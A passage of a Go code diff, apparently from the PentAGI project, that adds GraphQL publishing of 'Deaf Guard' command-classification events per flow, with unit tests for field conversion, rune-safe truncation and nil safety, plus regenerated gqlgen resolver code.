executor.SetKnowledgeProvider(pub) + executor.SetDeafGuardEventProvider(NewFlowDeafGuardEventWorker(awc.flowID, pub)) executor.SetGraphitiClient(awc.provs.GraphitiClient()) ctx, cancel := context.WithCancel(context.Background()) @@ -373,6 +374,7 @@ func LoadAssistantWorker( executor.SetVectorStoreLogProvider(workers.vslw) executor.SetToolCallLogProvider(workers.tclw) executor.SetKnowledgeProvider(pub) + executor.SetDeafGuardEventProvider(NewFlowDeafGuardEventWorker(awc.flowID, pub)) var msgChainID int64 pmsgChainID := database.NullInt64ToInt64(assistant.MsgchainID) diff --git a/backend/pkg/controller/deafguard_events.go b/backend/pkg/controller/deafguard_events.go new file mode 100644 index 000000000..db6a20460 --- /dev/null +++ b/backend/pkg/controller/deafguard_events.go @@ -0,0 +1,100 @@ +package controller + +import ( + "context" + "sync/atomic" + + "pentagi/pkg/graph/model" + "pentagi/pkg/graph/subscriptions" + "pentagi/pkg/tools/deafguard" +) + +// deafGuardEventMaxCommandLen bounds the event command payload so the +// live GraphQL subscription does not fan out unbounded agent input. +// Matches the truncation used by the Deaf Guard's structured logger. +const deafGuardEventMaxCommandLen = 200 + +// deafGuardEventSeq is a process-wide monotonic counter for Deaf Guard +// event IDs. Events are not persisted, so the ID only needs to be unique +// within the lifetime of the process — enough for the frontend to use it +// as a stable React key and to dedupe in-flight pairs. Kept at package +// scope so concurrent publishers across different flows never collide. +var deafGuardEventSeq atomic.Int64 + +// FlowDeafGuardEventWorker is the per-flow publisher for Deaf Guard +// classification events. It implements tools.DeafGuardEventProvider, but +// intentionally is not imported against that name here to avoid a +// circular dependency between the controller and tools packages. +type FlowDeafGuardEventWorker interface { + Publish(ctx context.Context, result *deafguard.ClassificationResult) +} + +type flowDeafGuardEventWorker struct { + flowID int64 + pub subscriptions.FlowPublisher +} + +// NewFlowDeafGuardEventWorker constructs a publisher bound to the given +// flow. The returned worker is safe to invoke from any goroutine — the +// underlying subscription channel handles concurrent sends. +func NewFlowDeafGuardEventWorker(flowID int64, pub subscriptions.FlowPublisher) FlowDeafGuardEventWorker { + return &flowDeafGuardEventWorker{ + flowID: flowID, + pub: pub, + } +} + +// Publish converts a ClassificationResult into the GraphQL model and fans +// it out to any live subscribers for this flow. A nil result is a no-op. +// The publish call itself is non-blocking on the caller's side — the +// underlying Channel drops the send if a subscriber is slow, matching the +// existing terminalLogAdded semantics. +func (w *flowDeafGuardEventWorker) Publish(ctx context.Context, result *deafguard.ClassificationResult) { + if result == nil || w == nil || w.pub == nil { + return + } + + id := deafGuardEventSeq.Add(1) + event := convertDeafGuardEvent(id, w.flowID, result) + w.pub.DeafGuardEventAdded(ctx, event) +} + +// convertDeafGuardEvent projects an in-memory ClassificationResult onto +// the GraphQL model. All typed fields on ClassificationResult are +// stringified here — the GraphQL schema intentionally uses String +// (rather than dedicated enums) so that new categories, actions, or +// risk levels added to the Go enum do not force a gqlgen regeneration +// on every rule-pack update. +func convertDeafGuardEvent( + id, flowID int64, + result *deafguard.ClassificationResult, +) *model.DeafGuardEvent { + return &model.DeafGuardEvent{ + ID: id, + FlowID: flowID, + // Timestamp is Unix-seconds from ClassificationResult (int64). gqlgen + // maps GraphQL Int to Go int — on all PentAGI target platforms int is + // 64-bit, so the cast is lossless for any realistic timestamp. + Timestamp: int(result.Timestamp), + Command: truncateCommand(result.Command, deafGuardEventMaxCommandLen), + Category: string(result.Category), + Tier: result.Tier, + Risk: string(result.Risk), + Action: string(result.Action), + Allowed: result.Allowed, + Mode: string(result.Mode), + Reason: result.Reason, + } +} + +// truncateCommand returns the first maxLen runes of s followed by an +// ellipsis when truncation occurred. Rune-safe to match the Deaf Guard's +// own log-truncation helper; the two are kept separate so a change to +// one does not silently change the other. +func truncateCommand(s string, maxLen int) string { + runes := []rune(s) + if len(runes) <= maxLen { + return s + } + return string(runes[:maxLen]) + "..." +} diff --git a/backend/pkg/controller/deafguard_events_test.go b/backend/pkg/controller/deafguard_events_test.go new file mode 100644 index 000000000..a83752577 --- /dev/null +++ b/backend/pkg/controller/deafguard_events_test.go @@ -0,0 +1,145 @@ +package controller + +import ( + "context" + "strings" + "testing" + + "pentagi/pkg/tools/deafguard" +) + +// TestConvertDeafGuardEvent verifies that a ClassificationResult is +// projected onto the GraphQL model field-for-field, and that command +// truncation kicks in at the deafGuardEventMaxCommandLen boundary with a +// trailing ellipsis. +func TestConvertDeafGuardEvent(t *testing.T) { + t.Parallel() + + shortCmd := "ls -la /tmp" + longCmd := strings.Repeat("a", deafGuardEventMaxCommandLen+50) + + tests := []struct { + name string + result *deafguard.ClassificationResult + wantCmd string + wantTrunc bool + }{ + { + name: "short command passes through unchanged", + result: &deafguard.ClassificationResult{ + Allowed: true, + Command: shortCmd, + Category: deafguard.CategoryLocalUtility, + Risk: deafguard.RiskNone, + Action: deafguard.ActionLog, + Reason: "No matching rules", + Mode: deafguard.ModeLog, + Tier: 9, + Timestamp: 1700000000, + }, + wantCmd: shortCmd, + wantTrunc: false, + }, + { + name: "long command is rune-truncated with ellipsis", + result: &deafguard.ClassificationResult{ + Allowed: false, + Command: longCmd, + Category: deafguard.CategoryContainerEscape, + Risk: deafguard.RiskCritical, + Action: deafguard.ActionBlock, + Reason: "Container escape attempt", + Mode: deafguard.ModeWarn, + Tier: 1, + Timestamp: 1700000001, + }, + wantCmd: strings.Repeat("a", deafGuardEventMaxCommandLen) + "...", + wantTrunc: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + got := convertDeafGuardEvent(42, 7, tt.result) + + if got == nil { + t.Fatalf("convertDeafGuardEvent returned nil") + } + if got.ID != 42 { + t.Errorf("ID = %d, want 42", got.ID) + } + if got.FlowID != 7 { + t.Errorf("FlowID = %d, want 7", got.FlowID) + } + if got.Command != tt.wantCmd { + t.Errorf("Command mismatch: got %q, want %q", got.Command, tt.wantCmd) + } + if got.Allowed != tt.result.Allowed { + t.Errorf("Allowed = %v, want %v", got.Allowed, tt.result.Allowed) + } + if got.Tier != tt.result.Tier { + t.Errorf("Tier = %d, want %d", got.Tier, tt.result.Tier) + } + // Timestamp is int on the model (gqlgen Int mapping) but int64 on + // the source ClassificationResult — compare via int64 to avoid + // platform-dependent comparisons on 32-bit targets. + if int64(got.Timestamp) != tt.result.Timestamp { + t.Errorf("Timestamp = %d, want %d", got.Timestamp, tt.result.Timestamp) + } + if got.Category != string(tt.result.Category) { + t.Errorf("Category = %q, want %q", got.Category, string(tt.result.Category)) + } + if got.Risk != string(tt.result.Risk) { + t.Errorf("Risk = %q, want %q", got.Risk, string(tt.result.Risk)) + } + if got.Action != string(tt.result.Action) { + t.Errorf("Action = %q, want %q", got.Action, string(tt.result.Action)) + } + if got.Mode != string(tt.result.Mode) { + t.Errorf("Mode = %q, want %q", got.Mode, string(tt.result.Mode)) + } + if got.Reason != tt.result.Reason { + t.Errorf("Reason = %q, want %q", got.Reason, tt.result.Reason) + } + }) + } +} + +// TestFlowDeafGuardEventWorker_Publish_NilSafe asserts that Publish is a +// no-op on nil inputs rather than panicking — the wrapHandler hot path +// calls this inline, so a panic would tear down the tool-call. +func TestFlowDeafGuardEventWorker_Publish_NilSafe(t *testing.T) { + t.Parallel() + + ctx := context.TODO() + + // Nil worker must not panic. + var nilWorker *flowDeafGuardEventWorker + nilWorker.Publish(ctx, nil) + + // Worker with nil pub must not panic and must not try to dispatch. + w := &flowDeafGuardEventWorker{flowID: 1, pub: nil} + w.Publish(ctx, &deafguard.ClassificationResult{}) + + // Worker with non-nil pub and nil result must not panic. + w = &flowDeafGuardEventWorker{flowID: 1, pub: nil} + w.Publish(ctx, nil) +} + +// TestDeafGuardEventSeq_Monotonic covers the process-wide atomic counter +// — two successive Publish calls must produce strictly increasing IDs. +// This uses the unexported convertDeafGuardEvent directly because the +// Publish path requires a full FlowPublisher implementation. +func TestDeafGuardEventSeq_Monotonic(t *testing.T) { + t.Parallel() + + // Seed reset is not exposed — the counter is process-wide. Just assert + // strict monotonicity of two successive Add() calls. + a := deafGuardEventSeq.Add(1) + b := deafGuardEventSeq.Add(1) + if b <= a { + t.Errorf("expected strictly increasing IDs, got a=%d b=%d", a, b) + } +} diff --git a/backend/pkg/controller/flow.go b/backend/pkg/controller/flow.go index 7936901a1..0ec6d5444 100644 --- a/backend/pkg/controller/flow.go +++ b/backend/pkg/controller/flow.go @@ -112,6 +112,7 @@ type flowProviderWorkers struct { tlw FlowTermLogWorker vslw FlowVectorStoreLogWorker tclw FlowToolCallLogWorker + dgew FlowDeafGuardEventWorker sw FlowScreenshotWorker } @@ -252,6 +253,7 @@ func NewFlowWorker( executor.SetVectorStoreLogProvider(workers.vslw) executor.SetToolCallLogProvider(workers.tclw) executor.SetKnowledgeProvider(pub) + executor.SetDeafGuardEventProvider(workers.dgew) executor.SetGraphitiClient(fwc.provs.GraphitiClient()) flowCtx := &FlowContext{ @@ -412,6 +414,7 @@ func LoadFlowWorker(ctx context.Context, flow database.Flow, fwc flowWorkerCtx) executor.SetVectorStoreLogProvider(workers.vslw) executor.SetToolCallLogProvider(workers.tclw) executor.SetKnowledgeProvider(pub) + executor.SetDeafGuardEventProvider(workers.dgew) executor.SetGraphitiClient(fwc.provs.GraphitiClient()) flowCtx := &FlowContext{ @@ -1199,6 +1202,8 @@ func newFlowProviderWorkers( return nil, fmt.Errorf("failed to create flow screenshot: %w", err) } + dgew := NewFlowDeafGuardEventWorker(flowID, pub) + return &flowProviderWorkers{ mlw: mlw, alw: alw, @@ -1206,6 +1211,7 @@ func newFlowProviderWorkers( tlw: tlw, vslw: vslw, tclw: tclw, + dgew: dgew, sw: sw, }, nil } diff --git a/backend/pkg/graph/generated.go b/backend/pkg/graph/generated.go index aac0cce29..d5717371f 100644 --- a/backend/pkg/graph/generated.go +++ b/backend/pkg/graph/generated.go @@ -198,6 +198,20 @@ type ComplexityRoot struct { Stats func(childComplexity int) int } + DeafGuardEvent struct { + Action func(childComplexity int) int + Allowed func(childComplexity int) int + Category func(childComplexity int) int + Command func(childComplexity int) int + FlowID func(childComplexity int) int + ID func(childComplexity int) int + Mode func(childComplexity int) int + Reason func(childComplexity int) int + Risk func(childComplexity int) int + Tier func(childComplexity int) int + Timestamp func(childComplexity int) int + } + DefaultPrompt struct { Template func(childComplexity int) int Type func(childComplexity int) int @@ -483,6 +497,7 @@ type ComplexityRoot struct { AgentLogs func(childComplexity int, flowID int64) int AssistantLogs func(childComplexity int, flowID int64, assistantID int64) int Assistants func(childComplexity int, flowID int64) int + DeafGuardEvents func(childComplexity int, flowID int64) int Flow func(childComplexity int, flowID int64) int FlowFiles func(childComplexity int, flowID int64) int FlowStatsByFlow func(childComplexity int, flowID int64) int @@ -571,6 +586,7 @@ type ComplexityRoot struct { AssistantLogAdded func(childComplexity int, flowID int64) int AssistantLogUpdated func(childComplexity int, flowID int64) int AssistantUpdated func(childComplexity int, flowID int64) int + DeafGuardEventAdded func(childComplexity int, flowID int64) int FlowCreated func(childComplexity int) int FlowDeleted func(childComplexity int) int FlowFileAdded func(childComplexity int, flowID int64) int @@ -802,6 +818,7 @@ type QueryResolver interface { VectorStoreLogs(ctx context.Context, flowID int64) ([]*model.VectorStoreLog, error) ToolCallLogs(ctx context.Context, flowID int64) ([]*model.ToolCallLog, error) AssistantLogs(ctx context.Context, flowID int64, assistantID int64) ([]*model.AssistantLog, error) + DeafGuardEvents(ctx context.Context, flowID int64) ([]*model.DeafGuardEvent, error) UsageStatsTotal(ctx context.Context) (*model.UsageStats, error) UsageStatsByPeriod(ctx context.Context, period model.UsageStatsPeriod) ([]*model.DailyUsageStats, error) UsageStatsByProvider(ctx context.Context) ([]*model.ProviderUsageStats, error) @@ -855,6 +872,7 @@ type SubscriptionResolver interface { ToolCallLogUpdated(ctx context.Context, flowID int64) (<-chan *model.ToolCallLog, error) AssistantLogAdded(ctx context.Context, flowID int64) (<-chan *model.AssistantLog, error) AssistantLogUpdated(ctx context.Context, flowID int64) (<-chan *model.AssistantLog, error) + DeafGuardEventAdded(ctx context.Context, flowID int64) (<-chan *model.DeafGuardEvent, error) ProviderCreated(ctx context.Context) (<-chan *model.ProviderConfig, error) ProviderUpdated(ctx context.Context) (<-chan *model.ProviderConfig, error) ProviderDeleted(ctx context.Context) (<-chan *model.ProviderConfig, error) @@ -1613,6 +1631,83 @@ func (e *executableSchema) Complexity(typeName, field string, childComplexity in return e.complexity.DailyUsageStats.Stats(childComplexity), true + case "DeafGuardEvent.action": + if e.complexity.DeafGuardEvent.Action == nil { + break + } + + return e.complexity.DeafGuardEvent.Action(childComplexity), true + + case "DeafGuardEvent.allowed": + if e.complexity.DeafGuardEvent.Allowed == nil { + break + } + + return e.complexity.DeafGuardEvent.Allowed(childComplexity), true + + case "DeafGuardEvent.category": + if e.complexity.DeafGuardEvent.Category == nil { + break + } + + return e.complexity.DeafGuardEvent.Category(childComplexity), true + + case "DeafGuardEvent.command": + if e.complexity.DeafGuardEvent.Command == nil { + break + } + + return e.complexity.DeafGuardEvent.Command(childComplexity), true + + case "DeafGuardEvent.flowId": + if e.complexity.DeafGuardEvent.FlowID == nil { + break + } + + return e.complexity.DeafGuardEvent.FlowID(childComplexity), true + + case "DeafGuardEvent.id": + if e.complexity.DeafGuardEvent.ID == nil { + break + } + + return e.complexity.DeafGuardEvent.ID(childComplexity), true + + case "DeafGuardEvent.mode": + if e.complexity.DeafGuardEvent.Mode == nil { + break + } + + return e.complexity.DeafGuardEvent.Mode(childComplexity), true + + case "DeafGuardEvent.reason": + if e.complexity.DeafGuardEvent.Reason == nil { + break + } + + return e.complexity.DeafGuardEvent.Reason(childComplexity), true + + case "DeafGuardEvent.risk": + if e.complexity.DeafGuardEvent.Risk == nil { + break + } + + return e.complexity.DeafGuardEvent.Risk(childComplexity), true + + case "DeafGuardEvent.tier": + if e.complexity.DeafGuardEvent.Tier == nil { + break + } + + return e.complexity.DeafGuardEvent.Tier(childComplexity), true + + case "DeafGuardEvent.timestamp": + if e.complexity.DeafGuardEvent.Timestamp == nil { + break + } + + return e.complexity.DeafGuardEvent.Timestamp(childComplexity), true + case "DefaultPrompt.template": if e.complexity.DefaultPrompt.Template == nil { break @@ -3172,6 +3267,18 @@ func (e *executableSchema) Complexity(typeName, field string, childComplexity in return e.complexity.Query.Assistants(childComplexity, args["flowId"].(int64)), true + case "Query.deafGuardEvents": + if e.complexity.Query.DeafGuardEvents == nil { + break + } + + args, err := ec.field_Query_deafGuardEvents_args(context.TODO(), rawArgs) + if err != nil { + return 0, false + } + + return e.complexity.Query.DeafGuardEvents(childComplexity, args["flowId"].(int64)), true + case "Query.flow": if e.complexity.Query.Flow == nil { break @@ -3833,6 +3940,18 @@ func (e *executableSchema) Complexity(typeName, field string, childComplexity in return e.complexity.Subscription.AssistantUpdated(childComplexity, args["flowId"].(int64)), true + case "Subscription.deafGuardEventAdded": + if e.complexity.Subscription.DeafGuardEventAdded == nil { + break + } + + args, err := ec.field_Subscription_deafGuardEventAdded_args(context.TODO(), rawArgs) + if err != nil { + return 0, false + } + + return e.complexity.Subscription.DeafGuardEventAdded(childComplexity, args["flowId"].(int64)), true + case "Subscription.flowCreated": if e.complexity.Subscription.FlowCreated == nil { break @@ -7009,6 +7128,38 @@ func (ec *executionContext) field_Query_assistants_argsFlowID( return zeroVal, nil } +func (ec *executionContext) field_Query_deafGuardEvents_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { + var err error + args := map[string]interface{}{} + arg0, err := ec.field_Query_deafGuardEvents_argsFlowID(ctx, rawArgs) + if err != nil { + return nil, err + } + args["flowId"] = arg0 + return args, nil +} +func (ec *executionContext) field_Query_deafGuardEvents_argsFlowID( + ctx context.Context, + rawArgs map[string]interface{}, +) (int64, error) { + // We won't call the directive if the argument is null. + // Set call_argument_directives_with_null to true to call directives + // even if the argument is null. + _, ok := rawArgs["flowId"] + if !ok { + var zeroVal int64 + return zeroVal, nil + } + + ctx = graphql.WithPathContext(ctx, graphql.NewPathWithField("flowId")) + if tmp, ok := rawArgs["flowId"]; ok { + return ec.unmarshalNID2int64(ctx, tmp) + } + + var zeroVal int64 + return zeroVal, nil +} + func (ec *executionContext) field_Query_flowFiles_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { var err error args := map[string]interface{}{} @@ -8077,177 +8228,17 @@ func (ec *executionContext) field_Subscription_assistantUpdated_argsFlowID( return zeroVal, nil } -func (ec *executionContext) field_Subscription_flowFileAdded_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { - var err error - args := map[string]interface{}{} - arg0, err := ec.field_Subscription_flowFileAdded_argsFlowID(ctx, rawArgs) - if err != nil { - return nil, err - } - args["flowId"] = arg0 - return args, nil -} -func (ec *executionContext) field_Subscription_flowFileAdded_argsFlowID( - ctx context.Context, - rawArgs map[string]interface{}, -) (int64, error) { - // We won't call the directive if the argument is null. - // Set call_argument_directives_with_null to true to call directives - // even if the argument is null. - _, ok := rawArgs["flowId"] - if !ok { - var zeroVal int64 - return zeroVal, nil - } - - ctx = graphql.WithPathContext(ctx, graphql.NewPathWithField("flowId")) - if tmp, ok := rawArgs["flowId"]; ok { - return ec.unmarshalNID2int64(ctx, tmp) - } - - var zeroVal int64 - return zeroVal, nil -} - -func (ec *executionContext) field_Subscription_flowFileDeleted_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { - var err error - args := map[string]interface{}{} - arg0, err := ec.field_Subscription_flowFileDeleted_argsFlowID(ctx, rawArgs) - if err != nil { - return nil, err - } - args["flowId"] = arg0 - return args, nil -} -func (ec *executionContext) field_Subscription_flowFileDeleted_argsFlowID( - ctx context.Context, - rawArgs map[string]interface{}, -) (int64, error) { - // We won't call the directive if the argument is null. - // Set call_argument_directives_with_null to true to call directives - // even if the argument is null. - _, ok := rawArgs["flowId"] - if !ok { - var zeroVal int64 - return zeroVal, nil - } - - ctx = graphql.WithPathContext(ctx, graphql.NewPathWithField("flowId")) - if tmp, ok := rawArgs["flowId"]; ok { - return ec.unmarshalNID2int64(ctx, tmp) - } - - var zeroVal int64 - return zeroVal, nil -} - -func (ec *executionContext) field_Subscription_flowFileUpdated_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { - var err error - args := map[string]interface{}{} - arg0, err := ec.field_Subscription_flowFileUpdated_argsFlowID(ctx, rawArgs) - if err != nil { - return nil, err - } - args["flowId"] = arg0 - return args, nil -} -func (ec *executionContext) field_Subscription_flowFileUpdated_argsFlowID( - ctx context.Context, - rawArgs map[string]interface{}, -) (int64, error) { - // We won't call the directive if the argument is null. - // Set call_argument_directives_with_null to true to call directives - // even if the argument is null. - _, ok := rawArgs["flowId"] - if !ok { - var zeroVal int64 - return zeroVal, nil - } - - ctx = graphql.WithPathContext(ctx, graphql.NewPathWithField("flowId")) - if tmp, ok := rawArgs["flowId"]; ok { - return ec.unmarshalNID2int64(ctx, tmp) - } - - var zeroVal int64 - return zeroVal, nil -} - -func (ec *executionContext) field_Subscription_messageLogAdded_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { - var err error - args := map[string]interface{}{} - arg0, err := ec.field_Subscription_messageLogAdded_argsFlowID(ctx, rawArgs) - if err != nil { - return nil, err - } - args["flowId"] = arg0 - return args, nil -} -func (ec *executionContext) field_Subscription_messageLogAdded_argsFlowID( - ctx context.Context, - rawArgs map[string]interface{}, -) (int64, error) { - // We won't call the directive if the argument is null. - // Set call_argument_directives_with_null to true to call directives - // even if the argument is null. - _, ok := rawArgs["flowId"] - if !ok { - var zeroVal int64 - return zeroVal, nil - } - - ctx = graphql.WithPathContext(ctx, graphql.NewPathWithField("flowId")) - if tmp, ok := rawArgs["flowId"]; ok { - return ec.unmarshalNID2int64(ctx, tmp) - } - - var zeroVal int64 - return zeroVal, nil -} - -func (ec *executionContext) field_Subscription_messageLogUpdated_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { - var err error - args := map[string]interface{}{} - arg0, err := ec.field_Subscription_messageLogUpdated_argsFlowID(ctx, rawArgs) - if err != nil { - return nil, err - } - args["flowId"] = arg0 - return args, nil -} -func (ec *executionContext) field_Subscription_messageLogUpdated_argsFlowID( - ctx context.Context, - rawArgs map[string]interface{}, -) (int64, error) { - // We won't call the directive if the argument is null. - // Set call_argument_directives_with_null to true to call directives - // even if the argument is null. - _, ok := rawArgs["flowId"] - if !ok { - var zeroVal int64 - return zeroVal, nil - } - - ctx = graphql.WithPathContext(ctx, graphql.NewPathWithField("flowId")) - if tmp, ok := rawArgs["flowId"]; ok { - return ec.unmarshalNID2int64(ctx, tmp) - } - - var zeroVal int64 - return zeroVal, nil -} - -func (ec *executionContext) field_Subscription_screenshotAdded_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { +func (ec *executionContext) field_Subscription_deafGuardEventAdded_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { var err error args := map[string]interface{}{} - arg0, err := ec.field_Subscription_screenshotAdded_argsFlowID(ctx, rawArgs) + arg0, err := ec.field_Subscription_deafGuardEventAdded_argsFlowID(ctx, rawArgs) if err != nil { return nil, err } args["flowId"] = arg0 return args, nil } -func (ec *executionContext) field_Subscription_screenshotAdded_argsFlowID( +func (ec *executionContext) field_Subscription_deafGuardEventAdded_argsFlowID( ctx context.Context, rawArgs map[string]interface{}, ) (int64, error) { @@ -8269,17 +8260,209 @@ func (ec *executionContext) field_Subscription_screenshotAdded_argsFlowID( return zeroVal, nil } -func (ec *executionContext) field_Subscription_searchLogAdded_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { +func (ec *executionContext) field_Subscription_flowFileAdded_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { var err error args := map[string]interface{}{} - arg0, err := ec.field_Subscription_searchLogAdded_argsFlowID(ctx, rawArgs) + arg0, err := ec.field_Subscription_flowFileAdded_argsFlowID(ctx, rawArgs) if err != nil { return nil, err } args["flowId"] = arg0 return args, nil } -func (ec *executionContext) field_Subscription_searchLogAdded_argsFlowID( +func (ec *executionContext) field_Subscription_flowFileAdded_argsFlowID( + ctx context.Context, + rawArgs map[string]interface{}, +) (int64, error) { + // We won't call the directive if the argument is null. + // Set call_argument_directives_with_null to true to call directives + // even if the argument is null. + _, ok := rawArgs["flowId"] + if !ok { + var zeroVal int64 + return zeroVal, nil + } + + ctx = graphql.WithPathContext(ctx, graphql.NewPathWithField("flowId")) + if tmp, ok := rawArgs["flowId"]; ok { + return ec.unmarshalNID2int64(ctx, tmp) + } + + var zeroVal int64 + return zeroVal, nil +} + +func (ec *executionContext) field_Subscription_flowFileDeleted_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { + var err error + args := map[string]interface{}{} + arg0, err := ec.field_Subscription_flowFileDeleted_argsFlowID(ctx, rawArgs) + if err != nil { + return nil, err + } + args["flowId"] = arg0 + return args, nil +} +func (ec *executionContext) field_Subscription_flowFileDeleted_argsFlowID( + ctx context.Context, + rawArgs map[string]interface{}, +) (int64, error) { + // We won't call the directive if the argument is null. + // Set call_argument_directives_with_null to true to call directives + // even if the argument is null. + _, ok := rawArgs["flowId"] + if !ok { + var zeroVal int64 + return zeroVal, nil + } + + ctx = graphql.WithPathContext(ctx, graphql.NewPathWithField("flowId")) + if tmp, ok := rawArgs["flowId"]; ok { + return ec.unmarshalNID2int64(ctx, tmp) + } + + var zeroVal int64 + return zeroVal, nil +} + +func (ec *executionContext) field_Subscription_flowFileUpdated_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { + var err error + args := map[string]interface{}{} + arg0, err := ec.field_Subscription_flowFileUpdated_argsFlowID(ctx, rawArgs) + if err != nil { + return nil, err + } + args["flowId"] = arg0 + return args, nil +} +func (ec *executionContext) field_Subscription_flowFileUpdated_argsFlowID( + ctx context.Context, + rawArgs map[string]interface{}, +) (int64, error) { + // We won't call the directive if the argument is null. + // Set call_argument_directives_with_null to true to call directives + // even if the argument is null. + _, ok := rawArgs["flowId"] + if !ok { + var zeroVal int64 + return zeroVal, nil + } + + ctx = graphql.WithPathContext(ctx, graphql.NewPathWithField("flowId")) + if tmp, ok := rawArgs["flowId"]; ok { + return ec.unmarshalNID2int64(ctx, tmp) + } + + var zeroVal int64 + return zeroVal, nil +} + +func (ec *executionContext) field_Subscription_messageLogAdded_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { + var err error + args := map[string]interface{}{} + arg0, err := ec.field_Subscription_messageLogAdded_argsFlowID(ctx, rawArgs) + if err != nil { + return nil, err + } + args["flowId"] = arg0 + return args, nil +} +func (ec *executionContext) field_Subscription_messageLogAdded_argsFlowID( + ctx context.Context, + rawArgs map[string]interface{}, +) (int64, error) { + // We won't call the directive if the argument is null. + // Set call_argument_directives_with_null to true to call directives + // even if the argument is null. + _, ok := rawArgs["flowId"] + if !ok { + var zeroVal int64 + return zeroVal, nil + } + + ctx = graphql.WithPathContext(ctx, graphql.NewPathWithField("flowId")) + if tmp, ok := rawArgs["flowId"]; ok { + return ec.unmarshalNID2int64(ctx, tmp) + } + + var zeroVal int64 + return zeroVal, nil +} + +func (ec *executionContext) field_Subscription_messageLogUpdated_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { + var err error + args := map[string]interface{}{} + arg0, err := ec.field_Subscription_messageLogUpdated_argsFlowID(ctx, rawArgs) + if err != nil { + return nil, err + } + args["flowId"] = arg0 + return args, nil +} +func (ec *executionContext) field_Subscription_messageLogUpdated_argsFlowID( + ctx context.Context, + rawArgs map[string]interface{}, +) (int64, error) { + // We won't call the directive if the argument is null. + // Set call_argument_directives_with_null to true to call directives + // even if the argument is null. + _, ok := rawArgs["flowId"] + if !ok { + var zeroVal int64 + return zeroVal, nil + } + + ctx = graphql.WithPathContext(ctx, graphql.NewPathWithField("flowId")) + if tmp, ok := rawArgs["flowId"]; ok { + return ec.unmarshalNID2int64(ctx, tmp) + } + + var zeroVal int64 + return zeroVal, nil +} + +func (ec *executionContext) field_Subscription_screenshotAdded_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { + var err error + args := map[string]interface{}{} + arg0, err := ec.field_Subscription_screenshotAdded_argsFlowID(ctx, rawArgs) + if err != nil { + return nil, err + } + args["flowId"] = arg0 + return args, nil +} +func (ec *executionContext) field_Subscription_screenshotAdded_argsFlowID( + ctx context.Context, + rawArgs map[string]interface{}, +) (int64, error) { + // We won't call the directive if the argument is null. + // Set call_argument_directives_with_null to true to call directives + // even if the argument is null. + _, ok := rawArgs["flowId"] + if !ok { + var zeroVal int64 + return zeroVal, nil + } + + ctx = graphql.WithPathContext(ctx, graphql.NewPathWithField("flowId")) + if tmp, ok := rawArgs["flowId"]; ok { + return ec.unmarshalNID2int64(ctx, tmp) + } + + var zeroVal int64 + return zeroVal, nil +} + +func (ec *executionContext) field_Subscription_searchLogAdded_args(ctx context.Context, rawArgs map[string]interface{}) (map[string]interface{}, error) { + var err error + args := map[string]interface{}{} + arg0, err := ec.field_Subscription_searchLogAdded_argsFlowID(ctx, rawArgs) + if err != nil { + return nil, err + } + args["flowId"] = arg0 + return args, nil +} +func (ec *executionContext) field_Subscription_searchLogAdded_argsFlowID( ctx context.Context, rawArgs map[string]interface{}, ) (int64, error) { @@ -13299,9 +13482,479 @@ func (ec *executionContext) _AssistantLog_flowId(ctx context.Context, field grap return ec.marshalNID2int64(ctx, field.Selections, res) } -func (ec *executionContext) fieldContext_AssistantLog_flowId(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_AssistantLog_flowId(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "AssistantLog", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type ID does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _AssistantLog_assistantId(ctx context.Context, field graphql.CollectedField, obj *model.AssistantLog) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_AssistantLog_assistantId(ctx, field) + if err != nil { + return graphql.Null + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.AssistantID, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(int64) + fc.Result = res + return ec.marshalNID2int64(ctx, field.Selections, res) +} + +func (ec *executionContext) fieldContext_AssistantLog_assistantId(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "AssistantLog", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type ID does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _AssistantLog_createdAt(ctx context.Context, field graphql.CollectedField, obj *model.AssistantLog) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_AssistantLog_createdAt(ctx, field) + if err != nil { + return graphql.Null + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.CreatedAt, 